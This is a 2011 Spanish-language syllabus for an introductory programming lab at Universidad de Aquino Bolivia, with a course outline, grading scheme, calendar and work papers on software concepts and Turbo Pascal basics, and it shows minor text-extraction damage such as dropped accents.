You are on page 1of 41

FACULTAD DE CIENCIAS Y TECNOLOGIA

RED NACIONAL UNIVERSITARIA

SYLLABUS Facultad de Ingeniera


Ingeniera de Sistemas

Primer Semestre

LABORATORIO DE PROGRAMACIN I

Gestin Acadmica I / 2011

U N

I V E R S

I D A D

D 1

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

UDABOL
UNIVERSIDAD DE AQUINO BOLIVIA Acreditada como PLENA mediante R. M. 288/01

VISION DE LA UNIVERSIDAD Ser la Universidad lder en calidad educativa.

MISION DE LA UNIVERSIDAD Desarrollar la Educacin Superior Universitaria con calidad y competitividad al servicio de la sociedad.

Estimado(a) estudiante: El syllabus que ponemos en tus manos es el fruto del trabajo intelectual de tus docentes, quienes han puesto sus mejores empeos en la planificacin de los procesos de enseanza para brindarte una educacin de la ms alta calidad. Este documento te servir de gua para que organices mejor tus procesos de aprendizaje y los hagas mucho ms productivos. Esperamos que sepas apreciarlo y cuidarlo

U N

I V E R S

I D A D

E 2

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

I. Asignatura: Cdigo: Requisito: Carga horaria: Horas Prcticas: Horas Tericas: Crditos:

SYLLABUS Laboratorio de Programacin I CMP 118 Ninguno 100 Horas 40 60 10

II. OBJETIVOS GENERALES DE LA ASIGNATURA. Dotar al estudiante de los conocimientos necesarios, como para que pueda interpretar, obtener, retener y aplicar los conocimientos adquiridos en Introduccin a la programacin. III. PROGRAMA ANALTICO DE LA ASIGNATURA. UNIDAD I: INTRODUCCIN A LAS COMPUTADORAS Y A LA PROGRAMACIN TEMA 1. La Computadora 1.1. 1.2. 1.3. 1.4. 1.5. Organizacin fsica de una computadora (hardware) El software Los lenguajes de programacin Traductores de un lenguaje de programacin Los lenguajes Pascal y C

UNIDAD 2. INTRODUCCIN A LA PROGRAMACIN PASCAL TEMA 2. Estructura de un Programa en Pascal 2.1. 2.2. 2.3. 2.4. 2.5. 2.6. El Pascal. Su instalacin y entorno Creacin, guardado, compilacin y ejecucin de un programa. Su estructura Tipos de datos Constantes y variables Sentencias

TEMA 3. Estructuras de Control en Pascal 3.1. Estructuras de control selectivas 3.1.1. Expresiones lgicas 3.1.2. La sentencia If 3.1.3. Sentencias if anidadas 3.1.4. La sentencia case 3.1.5. Aplicaciones

U N

I V E R S

I D A D

D 3

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

3.2.

Estructuras de control repetitivas 3.2.1. Bucles 3.2.2. La sentencia for 3.2.3. La sentencia while 3.2.4. La sentencia repeat 3.3. Bucles anidados

TEMA 4. Cadenas 4.1. 4.2. 4.3. 4.4. Concepto de cadena Longitud de una cadena Operaciones entre cadenas Otras propiedades de las cadenas

TEMA 5. Vectores y Matrices 5.1. 5.2. 5.3. 5.4. Arrays unidimensionales: los vectores Operaciones con vectores Arrays bidimensionales:matrices Aplicaciones

TEMA 6. Programacin Modular 6.1. 6.2. 6.3. 6.4. 6.5. El diseo modular: los mdulos Procedimientos Parmetros Funciones. Aplicaciones

TEMA 7. Registros Y Archivos 7.1. 7.2. Los registros 7.1.1. Los registros como parmetros 7.1.2. Arrays de registros Los archivos 7.2.1. Archivos de texto 7.2.2. Archivos de acceso aleatorio 7.2.3. Los archivos como parmetros de procedimientos

UNIDAD 3. INTRODUCCIN A LA PROGRAMACIN EN C. TEMA 8. Introduccin al Lenguaje C 8.1. 8.2. 8.3. 8.4. Estructura de un programa en C++ Tipos de datos. Expresiones. Tipos de sentencias.

TEMA 9. Estructuras de Control en C 9.1. Estructuras secuenciales en C.


U N I V E R S I D A D D E 4 A Q U I N O B O L I V I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

9.1.1. 9.2. 9.2.1. 9.2.2. 9.2.3. 9.3. 9.3.1. 9.3.2. 9.3.3. 9.3.4.

Aplicaciones Estructuras condicionales en C. Sintaxis de sentencias simples (IF-THEN). Sintaxis de sentencias mltiples (SWITCH). Aplicaciones Estructuras Iterativas en C . Sentencia WHILE. Sentencia DO-WHILE. Sentencia FOR. Aplicaciones.

TEMA 10. Arreglos en C. 10.1. 10.2. 10.3. 10.4. Arreglos en C Tipos de arreglos. Arreglos unidimensionales (Vectores). 10.3.1. Declaracin. 10.3.2. Operaciones. Arreglos bidimensionales (Matrices). 10.4.1. Declaracin. 10.4.2. Operaciones. 10.4.3. Aplicaciones.generales. 10.4.4. Interpretacin de las normas en razn de sus autores. 10.4.5. Mtodos de interpretacin. 10.4.6. Resultados de interpretacin de la Norma Jurdica.

U N

I V E R S

I D A D

D 5

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

IV. SISTEMAS DE EVALUACIN DE APRENDIZAJE


Evaluacin procesual: La evaluacin procesual tiene el carcter formativo y sumativo , lo que implica el seguimiento y evaluacin de los trabajos prcticos, trabajos de investigacin, participacin en el aula, actividades diarias, desarrollo de los Work Papers, Difs, Control y seguimiento a las Brigadas de aula abierta, Team Teaching, Congreso CICC, visitas a empresas, seminarios, cursos y otros que realicen los estudiantes de manera individual y grupal durante el transcurso del semestre NOTA DE LA EVALUACIN PROCESUAL 50 %

Evaluacin de Resultados: La evaluacin de resultado consiste en valorar los procesos de aprendizaje mediante dos pruebas. NOTA DE EVALUACION DE RESULTADO 50 %

NOTA PARCIAL = NOTA DE EVALUACION PROCESUAL + NOTA EVALUACION DE RESULTADO Evaluacin de Resultado final: La evaluacin de resultado final consiste en valorar todo el proceso de aprendizaje durante todo el semestre y ser mediante una prueba final. NOTA FINAL = PRIMER PARCIAL + SEGUNDO PARCIAL + EVALUACION FINAL DE RESULTADO NOTA FINAL = ( P. PARCIAL + S. PARCIAL + E. R. FINAL )/ 3

V. BIBLIOGRAFA. Luis Joyanes Aguilar. Programacin en Turbo Pascal. Editorial McGraw Hill. Espaa 1990. Schumann. Turbo Pascal. Editorial Marcombo Duntemman Jeff. Trubo Pascal la Biblia. Editorial Anaya Multimedia. Herbert Schildt. Turbo C/C++ Manual de referencia. Editorial Osborne/McGraw-Hill. Espaa, 1992. Luis Joyanes Aguilar. C++ a su alcance un enfoque orientado a objetos. Editorial McGraw-Hill. Espaa, 1994. Luis Joyanes Aguilar. Fundamentos de Programacin. Editorial McGraw-Hill. Espaa, 1996. Jose Castro R. & Felipe Cucker F. & Xavier MesseguerP. & Albert Rubio G. &Lluis Solano A. & Borja Valles F. Curso de Programacin. Editorial McGraw-Hill. Espaa, 1993. Dietel & Dietel. C++ Como programar. Editorial Osborne/McGraw-Hill, Espaa, 2000. Scott Zimmerman/Beverly B. Zimmerman. La Biblia del Turbo C Fundamentos y tcnicas avanzadas de programacin. Editorial Anaya-Multimedia, Espaa, 1990. Isabel Gallego Fernndez, Manuel Medina. Algortmica y Programacin para ingenieros, Editorial
UPC, Espaa 1993

U N

I V E R S

I D A D

E 6

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

VI. PLAN CALENDARIO


SEMANA

DEL

AL

ACTIVIDADES

OBSERVACIONES

1ra. 2da. 3ra. 4ta. 5ta. 6ta. 7ma. 8va. 9na. 10ma. 11ra. 12da. 13ra. 14ta. 15ta. 16ta. 17ma. 18va. 19na. 20va. 21ra.

09-mar 14-mar 21-mar 28-mar 04-abr 11-abr 18-abr 25-abr 02-may 09-may 16-may 23-may 30-may 06-jun 13-jun 20-jun 27-jun 04-jul 11-jul 18-jul 25-jul

12-mar 19-mar 26-mar 02-abr 09-abr 16-abr 23-abr 30-abr 07-may 14-may 21-may 28-may 04-jun 11-jun 18-jun 25-jun 02-jul 09-jul 16-jul 23-jul 26-jul

Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia Avance de materia

Inicio Primera Evaluacin Parcial Conclusin Primera Evaluacin Parcial

Presentacin de Notas Presentacin de Notas

Inicio Segunda Evaluacin Parcial


Conclusin Segunda Evaluacin Parcial

Presentacin de Notas Presentacin de Notas

Inicio Evaluacin Final


Conclusin Evaluacin Final Evaluacin del segundo turno Cierre de Gestin

Presentacin de Notas Transcripcin de Notas Transcripcin de Notas

U N

I V E R S

I D A D

D 7

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

FERIADOS 22 de abril 1 de mayo 23 de junio Viernes Santo Da del Trabajo Corpus Christi

Planificacin de Actividades
Contenidos Mnimos Contenidos Analticos Actividad Perodos acadmicos Recursos didcticos

Unidad I: Introduccion La Computadora

- Organizacin fsica de una computadora (hardware) - El software.

Data Display, Equipos y laboratorio de computacin.

Unidad II- III: Programacin Modular

- El diseo modular: los mdulos - Procedimientos - Parmetros - Funciones. - Aplicaciones - Aplicaciones

6 8 6 2

Seminarios, Conferencias Seminarios, Conferencias, Papers Seminarios, Conferencias Observacin directa.

U N

I V E R S

I D A D

E 8

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

VII. CONTROL DE EVALUACIONES 1 evaluacin parcial Fecha: Nota: 2 evaluacin parcial Fecha: Nota: Examen final Fecha: Nota: APUNTES

U N

I V E R S

I D A D

D 9

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

WORK PAPER # 1

PROGRAMA DE CONTROL DE CALIDAD

No. DE PROCEDIMIENTO : APRO 07

No. DE HOJAS : 3

ELABOR : Ing. Oscar Rolando Castillo Oros

CDIGO : CMP 118

TTULO DEL WORK PAPER : SOFTWARE DPTO.: FACULTAD DE INGENIERA UDABOL ORURO DESTINADO A: DOCENTES ALUMNOS X ADMINIST. OTROS

OBSERVACIONES: Asignatura :LABORATORIO DE PROGRAMACIN I::Unidad I::Tema 1

FECHA DE DIFUSIN :

FECHA DE ENTREGA :

U N

I V E R S

I D A D

E 10

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Software
Se conoce como software al equipamiento lgico o soporte lgico de una computadora digital; comprende el conjunto de los componentes lgicos necesarios que hacen posible la realizacin de tareas especficas, en contraposicin a los componentes fsicos, que son llamados hardware. Los componentes lgicos incluyen, entre muchos otros, las aplicaciones informticas; tales como el procesador de textos, que permite al usuario realizar todas las tareas concernientes a la edicin de textos; el software de sistema, tal como el sistema operativo, que, bsicamente, permite al resto de los programas funcionar adecuadamente, facilitando tambin la interaccin entre los componentes fsicos y el resto de las aplicaciones, y proporcionando una interfaz para el usuario.Contenido 1 Etimologa 2 Definicin de software 3 Clasificacin del software 4 Proceso de creacin del software o 4.1 Modelos de proceso o ciclo de vida 4.1.1 Modelo cascada 4.1.2 Modelos evolutivos 4.1.2.1 Modelo iterativo incremental 4.1.2.2 Modelo espiral 4.1.2.3 Modelo espiral Win & Win o 4.2 Etapas en el desarrollo del software 4.2.1 Captura, anlisis y especificacin de requisitos 4.2.1.1 Procesos, modelado y formas de elicitacin de requisitos 4.2.1.2 Clasificacin e identificacin de requerimientos 4.2.2 Diseo del sistema 4.2.3 Codificacin del software 4.2.4 Pruebas (unitarias y de integracin) 4.2.5 Instalacin y paso a produccin 4.2.6 Mantenimiento 5 Vase tambin o 5.1 Modelos de ciclo de vida 6 Referencias 7 Bibliografa o 7.1 Libros o 7.2 Artculos y revistas 8 Enlaces externos

Etimologa Software es una palabra proveniente del ingls (literalmente: partes blandas o suaves), que en espaol no posee una traduccin adecuada al contexto, por lo cual se la utiliza asiduamente sin traducir y as fue admitida por la Real Academia Espaola (RAE). Aunque no es estrictamente lo mismo, suele sustituirse por expresiones tales como programas (informticos) o aplicaciones (informticas) Software es lo que se denomina producto en Ingeniera de Software. Definicin de software Existen varias definiciones similares aceptadas para software, pero probablemente la ms formal sea la siguiente: Es el conjunto de los programas de cmputo, procedimientos, reglas, documentacin y datos asociados que forman parte de las operaciones de un sistema de computacin.

U N

I V E R S

I D A D

D 11

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Considerando esta definicin, el concepto de software va ms all de los programas de computacin en sus distintos estados: cdigo fuente, binario o ejecutable; tambin su documentacin, los datos a procesar e incluso la informacin de usuario forman parte del software: es decir, abarca todo lo intangible, todo lo no fsico relacionado.El trmino software fue usado por primera vez en este sentido por John W. Tukey en 1957. En la ingeniera de software y las ciencias de la computacin, el software es toda la informacin procesada por los sistemas informticos: programas y datos. El concepto de leer diferentes secuencias de instrucciones (programa) desde la memoria de un dispositivo para controlar los clculos fue introducido por Charles Babbage como parte de su mquina diferencial. La teora que forma la base de la mayor parte del software moderno fue propuesta por Alan Turing en su ensayo de 1936, Los nmeros computables, con una aplicacin al problema de decisin. Clasificacin del software Si bien esta distincin es, en cierto modo, arbitraria, y a veces confusa, a los fines prcticos se puede clasificar al software en tres grandes tipos: Software de sistema: Su objetivo es desvincular adecuadamente al usuario y al programador de los detalles de la computadora en particular que se use, aislndolo especialmente del procesamiento referido a las caractersticas internas de: memoria, discos, puertos y dispositivos de comunicaciones, impresoras, pantallas, teclados, etc. El software de sistema le procura al usuario y programador adecuadas interfaces de alto nivel, herramientas y utilidades de apoyo que permiten su mantenimiento. Incluye entre otros: o Sistemas operativos o Controladores de dispositivos o Herramientas de diagnstico o Herramientas de Correccin y Optimizacin o Servidores o Utilidades Software de programacin: Es el conjunto de herramientas que permiten al programador desarrollar programas informticos, usando diferentes alternativas y lenguajes de programacin, de una manera prctica. Incluye entre otros: o Editores de texto o Compiladores o Intrpretes o Enlazadores o Depuradores o Entornos de Desarrollo Integrados (IDE): Agrupan las anteriores herramientas, usualmente en un entorno visual, de forma tal que el programador no necesite introducir mltiples comandos para compilar, interpretar, depurar, etc. Habitualmente cuentan con una avanzada interfaz grfica de usuario (GUI). Software de aplicacin: Es aquel que permite a los usuarios llevar a cabo una o varias tareas especficas, en cualquier campo de actividad susceptible de ser automatizado o asistido, con especial nfasis en los negocios. Incluye entre otros: o Aplicaciones para Control de sistemas y automatizacin industrial o Aplicaciones ofimticas o Software educativo o Software empresarial o Bases de datos o Telecomunicaciones (por ejemplo Internet y toda su estructura lgica) o Videojuegos o Software mdico o Software de Clculo Numrico y simblico. o Software de Diseo Asistido (CAD) o Software de Control Numrico (CAM)

U N

I V E R S

I D A D

E 12

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

WORK PAPER # 2

PROGRAMA DE CONTROL DE CALIDAD

No. DE PROCEDIMIENTO : APRO 07

No. DE HOJAS :

ELABOR : Ing. Oscar Rolando Castillo Oros

CDIGO : CMP 118

TTULO DEL WORK PAPER : ASPECTOS GENERALES DE PASCAL DPTO.: Facultad de Ingeniera - UDABOL - ORURO DESTINADO A: DOCENTES ALUMNOS X ADMINIST. OTROS

OBSERVACIONES: LABORATORIO DE PROGRAMACIN I::Unidad 2::Temas 4, 5

FECHA DE DIFUSIN :

FECHA DE ENTREGA :

U N

I V E R S

I D A D

D 13

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

CONSIDERACION GENERALES DEL LENGUAJE PASCAL Es de suma importancia citar los aspectos generales del lenguaje Pascal como elementos estndar que debern siempre ser recordados por los programadores tales aspectos se relacionan a los tipos de datos, formatos bsicos de sentencias, es el entorno del lenguaje de forma lgica. Palabras reservadas Para poder programar en cualquier lenguaje es necesario conocer los cdigos mediante los cuales podamos expresar las tareas que queremos realizar. El Turbo Pascal, como lenguaje de programacin posee su propio cdigo con palabras de uso exclusivo para ciertas funciones, a estas palabras les llamaremos palabras reservadas de Turbo Pascal. Las palabras reservadas de Turbo Pascal (versiones 6.0 o mayores) son: AND CONST ELSE FORWARD IN NOT SET UNTIL ARRAY DIV END LABEL OF THEN VAR BEGIN DO FILE MOD OR TO WHILE CASE DOWNTO FOR IF NIL PACKED TYPE WITH

FUNCTION GOTO

PROCEDURE PROGRAM RECORD REPEAT

Estas palabras no pueden ser usadas como identificadores (siguiente tpico) ya que cada una de ellas tiene una funcin definida en Turbo Pascal. identificadores Los identificadores son palabras que representan constantes, variables, tipos de datos, procedimientos, funciones y algunos otros datos. Existen dos tipos de identificadores: los predefinidos de Turbo Pascal y los definidos por el programador. Algunos de los identificadores predefinidos son: integer, real, byte, sin, ... Los identificadores definidos por el programador son los elementos del lenguaje tales como variables, procedimientos, funciones, etc. Un identificador es una secuencia de 1 a 127 caracteres, que inicia con una letra, no tienen espacios ni smbolos: &, !, *, etc. y no es alguna palabra reservada. Para el Turbo Pascal no existen diferencias entre maysculas y minsculas, as que a un identificador denominado "valor" se le puede referir como "VALOR" o "VaLoR". Todo identificador en Pascal debe ser definido previamente a su utilizacin. Tipos de datos El manejo de la informacin en Turbo Pascal se realiza mediante diferentes clases de datos. En este apartado se tratarn los principales tipos y conforme se vayan necesitando se explicaran los dems. Integer Nmeros enteros sin parte decimal. Char Real String Caracteres del cdigo ASCII Nmeros que pueden incluir una parte decimal En una secuencia de caracteres que se trata como un solo dato. Boolean Pueden contener los valores de falso o verdadero

Variables y constantes Los tipos de datos que manejaremos en nuestro programa pueden ser de dos clases: variables o constantes. Como su nombre lo indica las variables pueden cambiar a lo largo de la ejecucin de un programa, en cambio las constantes sern valores fijos durante todo el proceso. Un ejemplo de una variable es cuando vamos a sumar dos nmeros que sern introducidos por el usuario del programa, ste puede introducir dos valores cualesquiera y no sera nada til restringirlo a dos valores predefinidos, as que dejamos que use los valores que el necesite sumar.
U N I V E R S I D A D D E 14 A Q U I N O B O L I V I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Ahora, si nuestro programa de operaciones matemticas va a utilizar el valor de PI para algunos clculos podemos definir un identificador PI con el valor de 3.1415926 constante, de tal forma que PI no pueda cambiar de valor, ahora en lugar de escribir todo el nmero cada vez que se necesite en nuestro programa, solo tenemos que escribir PI. Las variables y constantes pueden ser de todos los tipos vistos anteriormente: numricos tanto enteros como reales, caracteres, cadenas de caracteres, etc. Comentarios Es posible introducir comentarios en nuestro programa que sirvan unicamente para mejorar la comprensin del cdigo fuente. Un comentario no es tomado en cuenta al momento de la compilacin del programa y es de enorme importancia al momento de crearlo, modificarlo o mantenerlo. Existen dos formas de colocar comentarios en un programa de Turbo Pascal, entre llaves: {Comentario} o entre parentesis y asteriscos: (*Comentario*). Estructura de los programas El lenguaje utilizado en Turbo Pascal es estructurado, lo que significa que cada programa requiere una forma especfica de escritura para que sea entendido por el compilador. Todo programa cuenta con algunas partes o mdulos los cuales son: Cabecera Declaraciones Programa La cabecera del programa unicamente lleva el nombre del programa. En la seccin de declaraciones se le indica al compilador todos los identificadores y unidades que se utilizarn durante la ejecucin del programa. En la seccin del programa se escribe el cdigo de instrucciones que se llevarn a cabo. Sentencia PROGRAM La sentencia PROGRAM es la declaracin del nombre del programa. Consta de tres partes: la palabra reservada PROGRAM, a continuacin un identificador utilizado como el nombre del programa y al final un punto y coma ";". Por ejemplo: PROGRAM suma_de_dos_numeros ; Esta declaracin es siempre la primer linea en cualquier programa de Turbo Pascal. Declaracin de unidades Las unidades son mdulos independientes del programa que, aunque no son ejecutables por si mismos, pueden ser utilizados por el programa principal sin necesidad de reescribir el cdigo que contienen. Para la utilizacin de estos "subprogramas" es necesaria su declaracin. La palabra reservada USES cumple el propsito de declarar las unidades en el formato siguiente: USES crt, dos; Esta linea declara y habilita para su uso a la unidad crt y a la unidad dos Cada unidad que se declara debera estar separada de la siguiente por una coma. Al final de todas las unidades declaradas se deber colocar un punto y coma ";". Declaracin de constantes y variables Para declarar las constantes se utiliza la palabra reservada CONST seguida de un identificador al que se le dar un valor determinado, un signo de igual "=", el valor que recibir el identificador y al final un punto y coma ";". Ejemplo: CONST pi = 3.1415926; De esta forma el identificador pi recibir el valor de 3.1415926 y no ser posible cambiarlo en el transcurso del programa. Es posible declarar varias constantes sucesivamente, puede ser una por rengln o varias en un solo rengln. Cuando se hace sto, la palabra CONST solo se pone una sola vez como cabecera y a continuacin todas las constantes por definir. Ejemplo: CONST PI = 3.1415926; Nombre = 'Juan Gutirrez'; Unidad = 1; Otra forma de escribir lo mismo es as: CONST PI = 3.1415926; Nombre = 'Juan Gutirrez'; Unidad = 1; Pero por cuestiones de legibilidad es preferible la primera opcin. La declaracin de variables se lleva a cabo de la misma forma, solo que en lugar de la palabra CONS utilizamos la palabra VAR, y en lugar de "= valor;", utilizamos : tipo , sustituyendo "tipo" por alguna clase vlida de datos en Turbo Pascal. Ejemplo:

U N

I V E R S

I D A D

D 15

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Programa principal Despues de haber realizado todas las declaraciones se puede iniciar con el programa principal. (Es posible, antes del programa, declarar las funciones y procedimientos, pero eso se analizar posteriormente). El programa principal inicia con la palabara reservada BEGIN y termina con la palabra END., esta ltima con un punto al final. Cada linea de cdigo, enunciado, sentencia o instruccin completa que se escriba deber terminar con un punto y coma ";". Solo se omitir el punto y coma cuando se utiliza la palabra reservada ELSE. Aunque puede tambin omitirse si la siguiente expresin es END o UNTIL. Ya conociendo la estructura es posible escribir un primer programa: PROGRAM Primera_Prueba; VAR Entero : Integer; CONST Mensaje = 'Introduce un valor entero: '; Respuesta = 'El valor es: '; BEGIN Write(Mensaje); {Escribe en pantalla el mensaje definido como constante} ReadLn(Entero); {Lee un valor de teclado y lo almacena en la variable Entero} WriteLn(Respuesta, Entero); {Escribe en pantalla el contenido de Respuesta y el valor que se ingres de teclado} END. Como podr apreciarse, no es importante el orden en el que se declaran las variables y constantes (aplicable solo al Turbo Pascal), es decir, pueden declararse primero las variables y luego las constantes y viceversa: PROGRAM Primera_Prueba; CONST Mensaje = 'Introduce un valor entero: '; Respuesta = 'El valor es: '; VAR Entero : Integer; BEGIN Write(Mensaje); {Escribe en pantalla el mensaje definido como constante} ReadLn(Entero); {Lee un valor de teclado y lo almacena en la variable Entero} WriteLn(Respuesta, Entero); {Escribe en pantalla el contenido de Respuesta y el valor que se ingres de teclado} END. Compilacin y ejecucin en memoria La compilacin de un programa es el paso mediante el cual traducimos dicho programa al lenguaje maquina entendible por la computadora. Para lograr la compilacin en el entorno integrado de desarrollo de Turbo Pascal se utiliza la opcin Compile del men del mismo nombre. Para accesar al men se utiliza la secuencia de teclas: [ALT] + [C], y luego se escoge la opcin Compile. Otra forma de realizar la compilacin es con la secuencia de teclas: [ALT] + [F9]. Es posible compilarlo y ejecutarlo automaticamente utilizando la secuencia: [CONTROL] + [F9] Compilacin al disco Para poder ejecutar un programa sin necesidad de llamar al entorno integrado de desarrollo de Turbo Pascal es necesario compilar el programa al disco. Para hacer esto es necesario activar la opcin Destination a Disk, esto se hace entrando al men Compile, se selecciona la opcin Destination y se presiona [Enter], de esta forma se cambia el destino de compilacin de memoria a disco o viceversa (Dependiendo de la opcin seleccionada actualmente). Una vez compilado un programa en el disco es posible ejecutarlo directamente desde el sistema operativo. Asignacin o igualacin

VAR Num_entero : Integer; Nombre : String;

U N

I V E R S

I D A D

E 16

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

La operacin de asignacin es una de las ms utilizadas en Turbo Pascal ya que nos permite darle un valor determinado a las variables que declaramos en el programa o lo que es lo mismo, igualarla a algn valor determinado. El smbolo utilizado para la operacin es los dos puntos seguidos por un signo de igual := , a la izquierda de dicho smbolo se coloca el identificador al que se le asignar un nuevo valor y a la derecha se colocar un identificador o algn valor directo que se almacenar en el primer identificador. Ejemplo: Nombre := 'Juan Prez'; {Nombre guardar la cadena "Juan Prez"} Resta := Numero1 - Numero2; {Resta gurdar el resultado de la resta de Numero2 a Numero1} Area := (Base*Altura)/2; {Obtiene el area de un triangulo y la guarda en el identificador Area} Es indispensable para todo programa que cuente con la capacidad de manejar entradas y salidas de informacin, ya que sin estas capacidades sera un programa intil. Salida de datos a la pantalla Las instrucciones que permiten mostrar datos en la pantalla de la computadora son: Write y WriteLn. Aunque ya se hizo uso de ellas en los pequeos programas anteriores de ejemplo, aqui se describirn a fondo. La sintaxis de los procedimientos es la siguiente: Write (indentificadores); WriteLn (indentificadores); Donde los identificadores son aquellos que contienen la informacin que se desea mandar a la pantalla. Es posible utilizar varios de ellos por cada instruccin Write o WriteLn, unicamente se separan unos de otros por comas ",". Ejemplo: Write (Nombre, ApellidoP, ApellidoM); Esta linea de cdigo desplegar consecutivamente los contenidos de los identificadores Nombre, ApellidoP y ApellidoM. En caso de que la variable Nombre almacenara el valor 'Rodrigo ', la variable ApellidoP 'Gonzlez ' y la variable ApellidoM 'Garca', el resultado en pantalla sera: Rodrigo Gonzlez Garca Podemos obtener el mismo resultado si utilizamos la siguiente estructura: Write (Nombre); Write (ApellidoP); Write (ApellidoM); Si en lugar de utilizar la instruccin Write hacemos uso de WriteLn con la misma sintaxis del ejemplo anterior: WriteLn (Nombre); WriteLn (ApellidoP); WriteLn (ApellidoM); lo que obtendriamos sera: Rodrigo Gonzlez Garca De este ejemplo es posible concluir que la diferencia entre las instrucciones Write y WriteLn es que esta ltima imprime el contenido de los identificadores y cambia el cursor al siguiente rengln de la pantalla, y la primera solo escribe el contenido y deja el cursor al final del dato escrito. Entrada de datos desde teclado Las instrucciones estandar de Turbo Pascal para obtener datos desde el teclado son Read y ReadLn. La sintaxis de estas instrucciones es muy parecida a la de Write y WriteLn: Read (Identificador); El identificador puede ser cualquier variable definida previamente, NO puede ser una constante. Puede ser tambin un conjunto de variables, separadas entre comas, en este caso se guardara el primer valor dado antes del [Enter] en el primer identificador proporcionado, luego el segundo y as sucesivamente hasta el ltimo identificador. La diferencia en el uso de la instruccin Read con respecto a ReadLn es que en la primera, si se le dan mas datos de los que se introducirn se guardan en un buffer y se usarn en la siguiente instruccin Read o ReadLn del programa, en cambio ReadLn ignora todo dato posterior a los que esten definidos en la instruccin. En caso de que se le indique a Read o ReadLn que lea un tipo especfico de valor, y se le proporcione otro diferente se generar un error y se detendr la ejecucin del programa. Tipos de datos

U N

I V E R S

I D A D

D 17

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Un programa debe ser capaz de manejar diferentes tipo de datos, como pueden ser nmeros enteros, reales, caracteres, cadenas de caracteres, etc. Para lograr el manejo de toda esta informacin Turbo Pascal prove diferentes tipos de datos para los identificadores que se utilizarn. Algunos de los ms importantes se citan en seguida: Tipos enteros En esta categora Turbo Pascal cuenta con 5 tipos diferentes, cada uno abarca un rango especfico de valores y utilizan una diferente cantidad de memoria dependiendo de ese rango. Naturalmente el trabajar con rangos menores nos ofrece una mayor velocidad y menor espacio en memoria, pero si se utilizan enteros largos se cuenta con mayor presicin. Los tipos de enteros en Turbo Pascal son: Tipo Word Byte Rango de valores que acepta 0 a 65535 0 a 255 Integer -32,768 a 32,767 ShortInt -128 a 127 LongInt -2,147,483,648 a 2,147,483,648 Al utilizar los tipos enteros es posible representar en el programa un nmero en formato hexadecimal, para hacer esto solo se le antepone el smbolo "$" al valor hexadecimal, al momento de visualizar dicho valor, o utilizarlo en alguna operacin ser como decimal. Por ejemplo: Cantidad := $10; El valor que se guarda en "Cantidad" es 16. Tipos reales Los nmeros reales son aquellos que cuentan con una parte decimal. En Turbo Pascal contamos con varios tipos de datos reales, pero no se puede utilizar, mas que el tipo real, en mquinas que no cuenten con un coprocesador matemtico. Los tipos de datos reales son: Tipo Real Single Double Comp Rango de valores que acepta 2.9E-39 a 1.7E38 1.5E-45 a 3.4E38 5.0E-324 a 1.7E308 -9.2E18 a 9.2E18

Extended 1.9E-4851 a 1.1E4932 Los nmeros reales deben llevar por fuerza al menos un dgito de cada lado del punto decimal as sea ste un cero. Como ejemplo, el nmero 5 debe representarse como: 5.0, el .5 como 0.5 , etc. En este tipo de datos se utiliza la notacin cientfica, que es igual a la de las calculadoras, el dgito que se encuentra a continuacin de la E representa la potencia a la que se elevar el nmero 10 para multiplicarlo por la cantidad a la izquierda de dicha E: 3.0E5 = 3.0 * 10^5 = 3.0 * 100000 = 300000 1.5E-4 = 1.5 * 10^-4 = 1.5 * 0.0001 = 0.00015 Tipos caracter Los caracteres son cada uno de los smbolos que forman el cdigo ASCII, el tipo estndar de Pascal para estos datos es Char. Los caracteres se especifican entre apostrofes: 'a' </TD 'B' </TD '2' '#' El tipo Char es un tipo ordinal de Pascal, sto quiere decir que sus elementos vlidos siguen una secuencia ordenada de valores individuales. La secuencia de caracteres para este tipo corresponden al nmero del cdigo ASCII, del 0 al 255. Es posible accesar a cada uno de los caracteres utilizando un signo # antes de su valor correspondiente, por ejemplo, la letra A puede ser representada como #65, el retorno de carro, o enter, se representa como #13, y as cualquier caracter.

Tipo cadena

U N

I V E R S

I D A D

E 18

A Q U

I N

B O L

I V

I A

FACULTAD DE CIENCIAS Y TECNOLOGIA

Las cadenas son secuencias de caracteres o arreglos que tienen una longitud maxima de 255 caracteres. Se definen entre apostrofes. El tipo de Pascal para las cadenas es String. PROGRAM Cadena; VAR Nombre : String; BEGIN Nombre := 'Ernesto Chvez'; WriteLn (Nombre); END. Este programa guarda la cadena 'Ernesto Chvez' en la variable definida como tipo string, y la visualiza en la pantalla por medio de la instruccin WriteLn. El tamao por defecto para un tipo string es de 255 caracteres, pero es posible definir uno mas pequeo utilizando el siguiente formato: Variable : String[Tamao]; Donde Variable es la variable a definir y Tamao es el nmero maximo de caracteres que podr contener esa variable (naturalmente mayor a 0 y menor a 256). Es posible acceder a un solo caracter de una cadena utilizando inmediatamente despues del nombre de la misma la posicin del caracter encerrada entre corchetes. Por ejemplo: PROGRAM Cadena01; VAR Nombre : String[30]; {Permite un mximo de 30 caracteres en la variable} BEGIN Nombre := 'Ernesto Chvez'; WriteLn (Nombre[5]); {Visualiza el 5to caracter de la cadena} END.

